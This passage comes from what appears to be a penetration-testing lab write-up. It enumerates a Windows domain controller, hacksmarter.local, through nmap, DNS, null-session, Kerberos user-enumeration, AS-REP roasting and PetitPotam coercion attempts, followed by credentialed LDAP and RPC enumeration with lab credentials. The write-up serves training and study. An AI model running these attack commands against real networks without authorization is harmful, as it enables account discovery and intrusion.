TgSe7Fti2zQtqKvXfDAgqgKCoeKi38uAnWk3Yt7u600baJAv+mbk/VOkyB80L6tD | uAooN8gmXwZxxqZCYFR2veZXQ4mihPz+9Tt1ynfO+tepGe2UsYKQLaAcaFLlG5NX | lcqR+mD8m6CUR+UPFsBDYH1hHOHyRq51fk42yK8VFP7lC/Lz |_-----END CERTIFICATE----- 5357/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Service Unavailable 5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49668/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 49683/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0 49684/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 52730/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 52791/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 52805/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 52818/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete No OS matches for host TCP/IP fingerprint: SCAN(V=7.98%E=4%D=12/28%OT=53%CT=%CU=%PV=Y%DS=3%DC=T%G=N%TM=6951578F%P=x86_64-pc-linux-gnu) SEQ(SP=105%GCD=2%ISR=10C%TI=I%TS=A) SEQ(SP=106%GCD=1%ISR=109%TI=I%TS=A) OPS(O1=M578NW8ST11%O2=M578NW8ST11%O3=M578NW8NNT11%O4=M578NW8ST11%O5=M578NW8ST11%O6=M578ST11) WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC) ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M578NW8NNS%CC=Y%Q=) T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=N) U1(R=N) IE(R=N) Uptime guess: 0.010 days (since Sun Dec 28 10:00:39 2025) Network Distance: 3 hops TCP Sequence Prediction: Difficulty=261 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 0s, deviation: 0s, median: 0s | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 47375/tcp): CLEAN (Timeout) | Check 2 (port 49115/tcp): CLEAN (Timeout) | Check 3 (port 26704/udp): CLEAN (Timeout) | Check 4 (port 37116/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb2-time: | date: 2025-12-28T16:14:32 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled and required TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1 34.97 ms 10.200.0.1 2 ... 3 37.68 ms 10.1.217.131 NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 10:15 Completed NSE at 10:15, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 10:15 Completed NSE at 10:15, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 10:15 Completed NSE at 10:15, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at . Nmap done: 1 IP address (1 host up) scanned in 111.66 seconds Raw packets sent: 119 (9.544KB) | Rcvd: 49 (2.636KB) ``` {% endcode %} * Domain is actually `hacksmarter.local` and `DC01.hacksmarter.local` * RDP is open (3389) Product\_Version: 10.0.20348 * WinRM is open (5985) * No clock skew * SMB 3.1.1 signing enabled and required (GOOD) #### Fingerprinting OS {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb hacksmarter.local -u '' -p '' --shares SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\: SMB 10.1.217.131 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED ``` {% endcode %} * Windows Server 2022 Build 20348 * Check to see if this is up to date or not, but a good finding that they’re on a newer OS * No null authentication to SMB via nxc #### DNS Enumeration {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ dig @10.1.217.131 hacksmarter.local ANY ; <<>> DiG 9.20.15-2-Debian <<>> @10.1.217.131 hacksmarter.local ANY ; (1 server found) ;; global options: +cmd ;; Got answer: ;; WARNING: .local is reserved for Multicast DNS ;; You are currently testing what happens when an mDNS query is leaked to DNS ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58181 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ;; QUESTION SECTION: ;hacksmarter.local. IN ANY ;; ANSWER SECTION: hacksmarter.local. 600 IN A 10.1.217.131 hacksmarter.local. 3600 IN NS dc01.hacksmarter.local. hacksmarter.local. 3600 IN SOA dc01.hacksmarter.local. hostmaster.hacksmarter.local. 50 900 600 86400 3600 ;; ADDITIONAL SECTION: dc01.hacksmarter.local. 3600 IN A 10.1.217.131 ;; Query time: 36 msec ;; SERVER: 10.1.217.131#53(10.1.217.131) (TCP) ;; WHEN: Sun Dec 28 10:27:27 CST 2025 ;; MSG SIZE rcvd: 144 ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ dig @10.1.217.131 dc01.hacksmarter.local ; <<>> DiG 9.20.15-2-Debian <<>> @10.1.217.131 dc01.hacksmarter.local ; (1 server found) ;; global options: +cmd ;; Got answer: ;; WARNING: .local is reserved for Multicast DNS ;; You are currently testing what happens when an mDNS query is leaked to DNS ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41579 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ;; QUESTION SECTION: ;dc01.hacksmarter.local. IN A ;; ANSWER SECTION: dc01.hacksmarter.local. 3600 IN A 10.1.217.131 ;; Query time: 36 msec ;; SERVER: 10.1.217.131#53(10.1.217.131) (UDP) ;; WHEN: Sun Dec 28 10:27:43 CST 2025 ;; MSG SIZE rcvd: 67 ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ dig @10.1.217.131 -x 10.1.217.131 ; <<>> DiG 9.20.15-2-Debian <<>> @10.1.217.131 -x 10.1.217.131 ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33471 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ;; QUESTION SECTION: ;131.217.1.10.in-addr.arpa. IN PTR ;; Query time: 47 msec ;; SERVER: 10.1.217.131#53(10.1.217.131) (UDP) ;; WHEN: Sun Dec 28 10:28:01 CST 2025 ;; MSG SIZE rcvd: 54 ``` {% endcode %} *** ## Phase 2: Non-Credentialed Enumeration & Vulnerability Assessment ### 2.1: Anonymous/Null Session Testing #### SMB Null Session (NOT ALLOWED; ANON LOGIN SUCCESSFUL VIA SMBCLIENT BUT NO SHARES LISTED) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ smbclient -L //10.1.217.131 -N Anonymous login successful Sharename Type Comment --------- ---- ------- Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.1.217.131 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb hacksmarter.local -u '' -p '' --shares SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\: SMB 10.1.217.131 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED ``` {% endcode %} #### Anon LDAP binding (NOT ALLOWED) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc ldap dc01.hacksmarter.local -u '' -p '' LDAP 10.1.217.131 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hacksmarter.local) LDAP 10.1.217.131 389 DC01 [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090C21, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c LDAP 10.1.217.131 389 DC01 [+] hacksmarter.local\\: ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ ldapsearch -x -H ldap://10.1.217.131 -b "dc=hacksmarter,dc=local" # extended LDIF # # LDAPv3 # base with scope subtree # filter: (objectclass=*) # requesting: ALL # # search result search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090C21, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v4f7c # numResponses: 1 ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ ldapdomaindump 10.1.217.131 -u 'HACKSMARTER\\guest' -p '' [*] Connecting to host... [*] Binding to host Traceback (most recent call last): File "/usr/bin/ldapdomaindump", line 3, in ldapdomaindump.main() ~~~~~~~~~~~~~~~~~~~^^ File "/usr/lib/python3/dist-packages/ldapdomaindump/__init__.py", line 934, in main if not c.bind(): ~~~~~~^^ File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 635, in bind raise LDAPUnknownAuthenticationMethodError(self.last_error) ldap3.core.exceptions.LDAPUnknownAuthenticationMethodError: NTLM needs domain\\username and a password ``` {% endcode %} #### SNMP Community String (AS EXPECTED, SINCE 161 DIDN’T SHOW UP IN INITIAL SCAN) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt 10.1.217.131 Scanning 1 hosts, 122 communities ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ snmpwalk -v 2c -c public 10.1.217.131 Timeout: No Response from 10.1.217.131 ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ snmpwalk -v 2c -c private 10.1.217.131 Timeout: No Response from 10.1.217.131 ``` {% endcode %} #### Anon FTP Access (N/A) #### RPC Null Session Queries (NOT ALLOWED) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ rpcclient -U "" -N 10.1.217.131 rpcclient $> enumdomusers result was NT_STATUS_ACCESS_DENIED rpcclient $> enumdomgroups result was NT_STATUS_ACCESS_DENIED rpcclient $> lsaquery Domain Name: HACKSMARTER Domain Sid: S-1-5-21-3154413470-3340737026-2748725799 rpcclient $> ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u '' -p '' --users [sudo] password for kali: SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\: ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc ldap 10.1.217.131 -u '' -p '' --groups LDAP 10.1.217.131 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hacksmarter.local) LDAP 10.1.217.131 389 DC01 [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090C21, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c LDAP 10.1.217.131 389 DC01 [+] hacksmarter.local\\: LDAP 10.1.217.131 389 DC01 [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090C21, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c ``` {% endcode %} #### Retrieve Domain SID (CONFIRMED, via anon RPC) #### User/Group Enumeration without credentials (NOT ALLOWED) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u '' -p '' --rid-brute 10000 SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\: SMB 10.1.217.131 445 DC01 [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights. ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ impacket-lookupsid hacksmarter.local/''@10.1.217.131 -no-pass Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Brute forcing SIDs at 10.1.217.131 [*] StringBinding ncacn_np:10.1.217.131[\\pipe\\lsarpc] [-] LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights. ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ enum4linux -R 500-550,1000-1050 10.1.217.131 ================================( Getting domain SID for 10.1.217.131 )================================ Domain Name: HACKSMARTER Domain Sid: S-1-5-21-3154413470-3340737026-2748725799 [+] Host is part of a domain (not a workgroup) ==================( Users on 10.1.217.131 via RID cycling (RIDS: 500-550,1000-1050) )================== [E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible. ┌──(kali㉿kali)-[/usr/share/wordlists] └─$ sudo impacket-GetNPUsers hacksmarter.local/administrator -dc-ip 10.1.217.131 -no-pass -format hashcat [sudo] password for kali: Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Getting TGT for administrator [-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set ``` {% endcode %} *** ### 2.2: Kerberos Pre-Authentication Enumeration #### User Enumeration via Kerberos (POTENTIALLY SUCCESSFUL ENUMERATION, `faraday` is a legit user) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[/usr/share/wordlists] └─$ sudo kerbrute userenum -d hacksmarter.local --dc 10.1.217.131 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -o ~/hacksmarter/arasaka/discovered_users.txt __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\\___/_/ /_.___/_/ \\__,_/\\__/\\___/ Version: dev (9cfb81e) - 12/28/25 - Ronnie Flathers @ropnop 2025/12/28 13:17:43 > Using KDC(s): 2025/12/28 13:17:43 > 10.1.217.131:88 2025/12/28 13:17:50 > [+] VALID USERNAME: administrator@hacksmarter.local 2025/12/28 13:18:36 > [+] VALID USERNAME: Administrator@hacksmarter.local 2025/12/28 13:18:58 > [+] VALID USERNAME: hanako@hacksmarter.local 2025/12/28 13:19:07 > [+] VALID USERNAME: hellman@hacksmarter.local 2025/12/28 13:19:13 > [+] VALID USERNAME: smasher@hacksmarter.local 2025/12/28 13:20:22 > [+] VALID USERNAME: goro@hacksmarter.local 2025/12/28 13:20:24 > [+] VALID USERNAME: faraday@hacksmarter.local ``` {% endcode %} ```bash 2025/12/28 13:32:54 > [+] VALID USERNAME: the_emperor@hacksmarter.local 2025/12/28 13:53:30 > [+] VALID USERNAME: Smasher@hacksmarter.local 2025/12/28 13:54:06 > [+] VALID USERNAME: Oda@hacksmarter.local ``` #### AS-REP Roasting (NOT POSSIBLE) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo impacket-GetNPUsers hacksmarter.local/ -dc-ip 10.1.217.131 -usersfile arasaka_users.txt -format hashcat -outputfile asrep_hashes.txt -no-pass Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User hanako doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User hellman doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User smasher doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User goro doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User faraday doesn't have UF_DONT_REQUIRE_PREAUTH set ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc ldap 10.1.217.131 -u arasaka_users.txt -p '' --asreproast asrep_hashes.txt LDAP 10.1.217.131 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hacksmarter.local) ``` {% endcode %} *** ### 2.3: Network Protocol Weaknesses #### LLMNR/NBT-NS Poisoning (Potentially Possible, but nothing came over while just waiting) ```bash ``` #### WPAD (NOT CHECKED) *** ### 2.4: Coercion Attacks #### PetitPotam (Potentially Vulnerable, but not working with exploit) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[/usr/share/wordlists] └─$ sudo nxc smb 10.1.217.131 -u '' -p '' -M coerce_plus [sudo] password for kali: SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\: COERCE_PLUS 10.1.217.131 445 DC01 VULNERABLE, PetitPotam COERCE_PLUS 10.1.217.131 445 DC01 VULNERABLE, PrinterBug ┌──(kali㉿kali)-[/opt/PetitPotam] └─$ sudo python3 PetitPotam.py -u '' -p '' 10.200.26.41 10.1.217.131 /opt/PetitPotam/PetitPotam.py:23: SyntaxWarning: invalid escape sequence '\\ ' | _ \\ ___ | |_ (_) | |_ | _ \\ ___ | |_ __ _ _ __ ___ _ _ _ ___ _ | _ \\ ___ | |_ (_) | |_ | _ \\ ___ | |_ __ _ _ __ | _/ / -_) | _| | | | _| | _/ / _ \\ | _| / _` | | ' \\ _|_|_ \\___| _\\__| _|_|_ _\\__| _|_|_ \\___/ _\\__| \\__,_| |_|_|_| _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' PoC to elicit machine account authentication via some MS-EFSRPC functions by topotam (@topotam77) Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN Trying pipe lsarpc [-] Connecting to ncacn_np:10.1.217.131[\\PIPE\\lsarpc] [+] Connected! [+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e [+] Successfully bound! [-] Sending EfsRpcOpenFileRaw! [-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED! [+] OK! Using unpatched function! [-] Sending EfsRpcEncryptFileSrv! Something went wrong, check error status => SMB SessionError: code: 0xc00000b0 - STATUS_PIPE_DISCONNECTED - The specified named pipe is in the disconnected state. ┌──(kali㉿kali)-[/opt/PetitPotam] └─$ sudo python3 PetitPotam.py -u '' -p '' 10.200.26.41 dc01.hacksmarter.local /opt/PetitPotam/PetitPotam.py:23: SyntaxWarning: invalid escape sequence '\\ ' | _ \\ ___ | |_ (_) | |_ | _ \\ ___ | |_ __ _ _ __ ___ _ _ _ ___ _ | _ \\ ___ | |_ (_) | |_ | _ \\ ___ | |_ __ _ _ __ | _/ / -_) | _| | | | _| | _/ / _ \\ | _| / _` | | ' \\ _|_|_ \\___| _\\__| _|_|_ _\\__| _|_|_ \\___/ _\\__| \\__,_| |_|_|_| _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' PoC to elicit machine account authentication via some MS-EFSRPC functions by topotam (@topotam77) Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN Trying pipe lsarpc [-] Connecting to ncacn_np:dc01.hacksmarter.local[\\PIPE\\lsarpc] [+] Connected! [+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e [+] Successfully bound! [-] Sending EfsRpcOpenFileRaw! [-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED! [+] OK! Using unpatched function! [-] Sending EfsRpcEncryptFileSrv! Something went wrong, check error status => SMB SessionError: code: 0xc00000b0 - STATUS_PIPE_DISCONNECTED - The specified named pipe is in the disconnected state. ``` {% endcode %} > PrinterBug and WebDAV not checked *** ### 2.5: Default Credentials & Common Vulnerabilities #### Test Default Creds on Services (NOT FOUND) #### Web Application Default Creds (N/A) #### iSCSI unauthenticated access (N/A) ```bash ┌──(kali㉿kali)-[/opt/open-isns] └─$ sudo iscsiadm -m discovery -t st -p 10.1.217.131 iscsiadm: connect to 10.1.217.131 timed out ``` #### IMPI Hash Dumping (Did not run, or N/A) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo msfconsole Metasploit tip: Use the capture plugin to start multiple authentication-capturing and poisoning services # cowsay++ ____________ < metasploit > ------------ \\ ,__, \\ (oo)____ (__) )\\ ||--|| * =[ metasploit v6.4.103-dev ] + -- --=[ 2,584 exploits - 1,319 auxiliary - 1,694 payloads ] + -- --=[ 433 post - 49 encoders - 14 nops - 9 evasion ] Metasploit Documentation: The Metasploit Framework is a Rapid7 Open Source Project msf > use auxiliary/scanner/ipmi/ipmi_dumphashes msf auxiliary(scanner/ipmi/ipmi_dumphashes) > set RHOSTS 10.1.217.131 RHOSTS => 10.1.217.131 msf auxiliary(scanner/ipmi/ipmi_dumphashes) > run ``` {% endcode %} *** ## Phase 3: Credentialed Enumeration (Low-Privilege User) ### 3.1: Repeat Non-Credentialed Checks with Authentication #### SMB (Nothing interesting yet for `faraday`) Confirming that the given credentials do indeed work {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u 'faraday' -p 'hacksmarter123' --shares SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\faraday:hacksmarter123 SMB 10.1.217.131 445 DC01 [*] Enumerated shares SMB 10.1.217.131 445 DC01 Share Permissions Remark SMB 10.1.217.131 445 DC01 ----- ----------- ------ SMB 10.1.217.131 445 DC01 ADMIN$ Remote Admin SMB 10.1.217.131 445 DC01 C$ Default share SMB 10.1.217.131 445 DC01 IPC$ READ Remote IPC SMB 10.1.217.131 445 DC01 NETLOGON READ Logon server share SMB 10.1.217.131 445 DC01 SYSVOL READ Logon server share ``` {% endcode %} * No shares that are super interesting right off of the bat #### LDAP Binding (Good user/group enumeration) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc ldap 10.1.217.131 -u faraday -p hacksmarter123 --users LDAP 10.1.217.131 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hacksmarter.local) LDAP 10.1.217.131 389 DC01 [+] hacksmarter.local\\faraday:hacksmarter123 LDAP 10.1.217.131 389 DC01 [*] Enumerated 15 domain users: hacksmarter.local LDAP 10.1.217.131 389 DC01 -Username- -Last PW Set- -BadPW- -Description- LDAP 10.1.217.131 389 DC01 Administrator 2025-09-18 17:40:20 5 Built-in account for administering the computer/domain LDAP 10.1.217.131 389 DC01 Guest 0 Built-in account for guest access to the computer/domain LDAP 10.1.217.131 389 DC01 krbtgt 2025-09-20 21:51:44 0 Key Distribution Center Service Account LDAP 10.1.217.131 389 DC01 Goro 2025-09-21 10:00:31 3 Loyal to a fault LDAP 10.1.217.131 389 DC01 alt.svc 2025-09-21 10:07:42 0 Trapped for eternity LDAP 10.1.217.131 389 DC01 Yorinobu 2025-09-21 10:12:44 0 LDAP 10.1.217.131 389 DC01 Hanako 2025-09-21 09:59:03 5 Waiting at embers LDAP 10.1.217.131 389 DC01 Faraday 2025-09-21 10:06:45 3 LDAP 10.1.217.131 389 DC01 Smasher 2025-09-21 10:01:20 3 LDAP 10.1.217.131 389 DC01 Soulkiller.svc 2025-09-21 10:30:13 0 Certificate managment for soulkiller AI LDAP 10.1.217.131 389 DC01 Hellman 2025-09-21 10:04:19 4 LDAP 10.1.217.131 389 DC01 kei.svc 2025-09-21 10:05:16 0 Trapped for eternity LDAP 10.1.217.131 389 DC01 Silverhand.svc 2025-09-21 10:03:10 0 Trapped for eternity LDAP 10.1.217.131 389 DC01 Oda 2025-09-21 10:02:14 0 LDAP 10.1.217.131 389 DC01 the_emperor 2025-11-06 11:19:03 0 ``` {% endcode %} * Need to add these users to the `arasaka_users.txt` file I have (DONE) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo ldapdomaindump -u 'HACKSMARTER\\faraday' -p 'hacksmarter123' 10.1.217.131 [*] Connecting to host... [*] Binding to host [+] Bind OK [*] Starting domain dump [+] Domain dump finished ``` {% endcode %} * `the_emporer` is most likely the real final target here * `Yorinobu` is the user with remote desktop access #### RPC (Same information as the LDAP domain dump) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ rpcclient -U faraday 10.1.217.131 Password for [WORKGROUP\\faraday]: rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[Goro] rid:[0x457] user:[alt.svc] rid:[0x459] user:[Yorinobu] rid:[0x45d] user:[Hanako] rid:[0x465] user:[Faraday] rid:[0x466] user:[Smasher] rid:[0x468] user:[Soulkiller.svc] rid:[0x469] user:[Hellman] rid:[0x46c] user:[kei.svc] rid:[0x46e] user:[Silverhand.svc] rid:[0x478] user:[Oda] rid:[0x47d] user:[the_emperor] rid:[0x641] rpcclient $> enumdomgroups group:[Enterprise Read-only Domain Controllers] rid:[0x1f2] group:[Domain Admins] rid:[0x200] group:[Domain Users] rid:[0x201] group:[Domain Guests] rid:[0x202] group:[Domain Computers] rid:[0x203] group:[Domain Controllers] rid:[0x204] group:[Schema Admins] rid:[0x206] group:[Enterprise Admins] rid:[0x207] group:[Group Policy Creator Owners] rid:[0x208] group:[Read-only Domain Controllers] rid:[0x209] ``` {% endcode %} #### User/Group Enumeration (—rid-brute, lookupsid, enum4linux) {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ sudo nxc smb 10.1.217.131 -u 'faraday' -p 'hacksmarter123' --rid-brute 10000 [sudo] password for kali: SMB 10.1.217.131 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hacksmarter.local) (signing:True) (SMBv1:False) SMB 10.1.217.131 445 DC01 [+] hacksmarter.local\\faraday:hacksmarter123 SMB 10.1.217.131 445 DC01 498: HACKSMARTER\\Enterprise Read-only Domain Controllers (SidTypeGroup) SMB 10.1.217.131 445 DC01 500: HACKSMARTER\\Administrator (SidTypeUser) SMB 10.1.217.131 445 DC01 501: HACKSMARTER\\Guest (SidTypeUser) SMB 10.1.217.131 445 DC01 502: HACKSMARTER\\krbtgt (SidTypeUser) SMB 10.1.217.131 445 DC01 512: HACKSMARTER\\Domain Admins (SidTypeGroup) SMB 10.1.217.131 445 DC01 513: HACKSMARTER\\Domain Users (SidTypeGroup) SMB 10.1.217.131 445 DC01 514: HACKSMARTER\\Domain Guests (SidTypeGroup) SMB 10.1.217.131 445 DC01 515: HACKSMARTER\\Domain Computers (SidTypeGroup) SMB 10.1.217.131 445 DC01 516: HACKSMARTER\\Domain Controllers (SidTypeGroup) SMB 10.1.217.131 445 DC01 517: HACKSMARTER\\Cert Publishers (SidTypeAlias) SMB 10.1.217.131 445 DC01 518: HACKSMARTER\\Schema Admins (SidTypeGroup) SMB 10.1.217.131 445 DC01 519: HACKSMARTER\\Enterprise Admins (SidTypeGroup) SMB 10.1.217.131 445 DC01 520: HACKSMARTER\\Group Policy Creator Owners (SidTypeGroup) SMB 10.1.217.131 445 DC01 521: HACKSMARTER\\Read-only Domain Controllers (SidTypeGroup) SMB 10.1.217.131 445 DC01 522: HACKSMARTER\\Cloneable Domain Controllers (SidTypeGroup) SMB 10.1.217.131 445 DC01 525: HACKSMARTER\\Protected Users (SidTypeGroup) SMB 10.1.217.131 445 DC01 526: HACKSMARTER\\Key Admins (SidTypeGroup) SMB 10.1.217.131 445 DC01 527: HACKSMARTER\\Enterprise Key Admins (SidTypeGroup) SMB 10.1.217.131 445 DC01 553: HACKSMARTER\\RAS and IAS Servers (SidTypeAlias) SMB 10.1.217.131 445 DC01 571: HACKSMARTER\\Allowed RODC Password Replication Group (SidTypeAlias) SMB 10.1.217.131 445 DC01 572: HACKSMARTER\\Denied RODC Password Replication Group (SidTypeAlias) SMB 10.1.217.131 445 DC01 1000: HACKSMARTER\\DC01$ (SidTypeUser) SMB 10.1.217.131 445 DC01 1101: HACKSMARTER\\DnsAdmins 